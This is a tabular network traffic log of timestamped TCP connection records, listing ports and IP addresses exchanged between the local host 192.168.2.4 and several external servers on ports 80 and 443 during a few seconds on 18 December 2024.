Dec 18, 2024 17:08:38.612273932 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612302065 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612329006 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612355947 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612396002 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612422943 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612449884 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612478018 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612504959 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612531900 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612557888 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612596989 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612623930 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612651110 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612677097 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612704039 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612731934 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.812134027 CET	49794	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:38.812478065 CET	49815	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:38.932090998 CET	80	49815	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:38.932116032 CET	80	49794	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:38.932187080 CET	49815	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:38.932218075 CET	49794	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:38.932418108 CET	49815	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:39.052113056 CET	80	49815	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:39.657155037 CET	49820	443	192.168.2.4	172.67.179.109
Dec 18, 2024 17:08:39.657242060 CET	443	49820	172.67.179.109	192.168.2.4
Dec 18, 2024 17:08:39.657351017 CET	49820	443	192.168.2.4	172.67.179.109
Dec 18, 2024 17:08:39.658937931 CET	49820	443	192.168.2.4	172.67.179.109
Dec 18, 2024 17:08:39.658971071 CET	443	49820	172.67.179.109	192.168.2.4
Dec 18, 2024 17:08:39.673803091 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:39.674290895 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:39.798808098 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:39.798891068 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:39.939394951 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:40.059190989 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:40.059290886 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:40.059653044 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:40.179137945 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:40.282393932 CET	80	49815	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:40.282495022 CET	49815	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:40.285697937 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:40.286201000 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:40.406225920 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:40.406269073 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:40.406359911 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:40.406404018 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:40.406629086 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:40.527173042 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:40.591777086 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:40.592036009 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:40.592245102 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:40.592245102 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:40.807153940 CET	49824	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:40.807194948 CET	443	49824	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:40.807266951 CET	49824	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:40.807585955 CET	49824	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:40.807605982 CET	443	49824	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:40.895944118 CET	443	49820	172.67.179.109	192.168.2.4
Dec 18, 2024 17:08:40.896018982 CET	49820	443	192.168.2.4	172.67.179.109
Dec 18, 2024 17:08:40.909774065 CET	49820	443	192.168.2.4	172.67.179.109
Dec 18, 2024 17:08:40.909790993 CET	443	49820	172.67.179.109	192.168.2.4
Dec 18, 2024 17:08:40.910609007 CET	443	49820	172.67.179.109	192.168.2.4
Dec 18, 2024 17:08:40.966012001 CET	49820	443	192.168.2.4	172.67.179.109
Dec 18, 2024 17:08:40.989691973 CET	49820	443	192.168.2.4	172.67.179.109
Dec 18, 2024 17:08:40.989782095 CET	49820	443	192.168.2.4	172.67.179.109
Dec 18, 2024 17:08:40.989917040 CET	443	49820	172.67.179.109	192.168.2.4
Dec 18, 2024 17:08:41.570807934 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.571307898 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.571413994 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.571891069 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.571908951 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.571964025 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.572993994 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.573018074 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.573074102 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.574577093 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.574596882 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.574652910 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.576034069 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.576050043 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.576106071 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.695122004 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.695400953 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.695457935 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.699095964 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.738588095 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.739087105 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.739109993 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.739350080 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.739665031 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.739681959 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.740220070 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.740458012 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.740467072 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.740483046 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.740665913 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.740665913 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.741962910 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.741972923 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.741990089 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.742398024 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.747257948 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.762903929 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.763084888 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.763143063 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.765221119 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.765506983 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.765667915 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.774041891 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.774306059 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.774357080 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.782059908 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.782247066 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.782310009 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.790597916 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.790827990 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.790930033 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.798892021 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.799141884 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.799195051 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.807121992 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.807528019 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.807585001 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.815423012 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.815762997 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.815818071 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.823832035 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.824418068 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.824470043 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.832195044 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.832751036 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.832882881 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.840610027 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.858872890 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.858948946 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.859215975 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.859265089 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.863123894 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.863266945 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.863398075 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.863523006 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.867183924 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.867244005 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.867470980 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.882920027 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.882985115 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.930814028 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.930885077 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.931041956 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.931210995 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.934839964 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.934894085 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.935297966 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.935364962 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.941325903 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.941387892 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.941711903 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.941817045 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.949882984 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.949965954 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.950254917 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.950345039 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.954715967 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.955076933 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.955152988 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.956975937 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.957870960 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.957926989 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.958298922 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.958308935 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.958384991 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.959647894 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.959734917 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.962641954 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.962769032 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.963064909 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.966975927 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.967032909 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.967252970 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.967361927 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.967855930 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.967957020 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.968646049 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.972073078 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.972168922 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.972502947 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.974958897 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.975080013 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.975362062 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.975435019 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.976798058 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.976860046 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.977150917 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.982070923 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.982141972 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.982537031 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.984447956 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.984694004 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.984714031 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.984792948 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.986504078 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.986562014 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.986834049 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.990737915 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.990808964 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.991075039 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.991871119 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.991964102 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.992413044 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:41.992506981 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:41.995362997 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:41.995466948 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:41.995733023 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.000149965 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.000204086 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.000478029 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.001223087 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.001231909 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.001305103 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.004683971 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.004750013 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.005327940 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.008141041 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.008344889 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.008481979 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.008537054 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.009252071 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.009340048 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.009887934 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.014058113 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.014112949 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.014470100 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.015551090 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.015652895 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.018575907 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.018647909 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.018929005 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.022568941 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.022622108 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.022933006 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.026527882 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.026616096 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.026962042 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.030520916 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.030580044 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.030869961 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.033792973 CET	443	49824	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:42.033875942 CET	49824	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:42.034471989 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.034531116 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.034812927 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.035604000 CET	49824	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:42.035619020 CET	443	49824	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:42.036398888 CET	443	49824	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:42.037815094 CET	49824	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:42.037940025 CET	49824	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:42.037945986 CET	443	49824	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:42.038589001 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.038654089 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.038781881 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.042294979 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.042349100 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.075299025 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.075527906 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.075582981 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.076417923 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.076767921 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.076839924 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.080374002 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.080665112 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.080784082 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.129231930 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.129355907 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.129477024 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.129560947 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.131361008 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.131436110 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.131688118 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.132113934 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.135685921 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.135763884 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.136092901 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.136152029 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.140307903 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.140388966 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.140656948 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.140768051 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.144639015 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.144709110 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.145260096 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.145463943 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.146831989 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.147228956 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.147377014 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.148228884 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.148515940 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.148574114 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.149210930 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.149291992 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.149900913 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.150016069 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.151099920 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.151479959 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.151530027 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.153392076 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.153459072 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.153769016 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.153909922 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.154449940 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.155251980 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.155304909 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.157213926 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.157470942 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.157521963 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.158179998 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.158293009 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.158833027 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.158909082 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.159905910 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.160285950 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.160352945 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.162267923 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.162317991 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.162604094 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.162791014 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.163273096 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.164062023 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.164123058 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.165725946 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.166274071 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.166317940 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.166814089 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.166898012 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.167423010 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.167589903 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.168353081 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.168744087 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.168798923 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.171300888 CET	80	49822	185.185.71.170	192.168.2.4
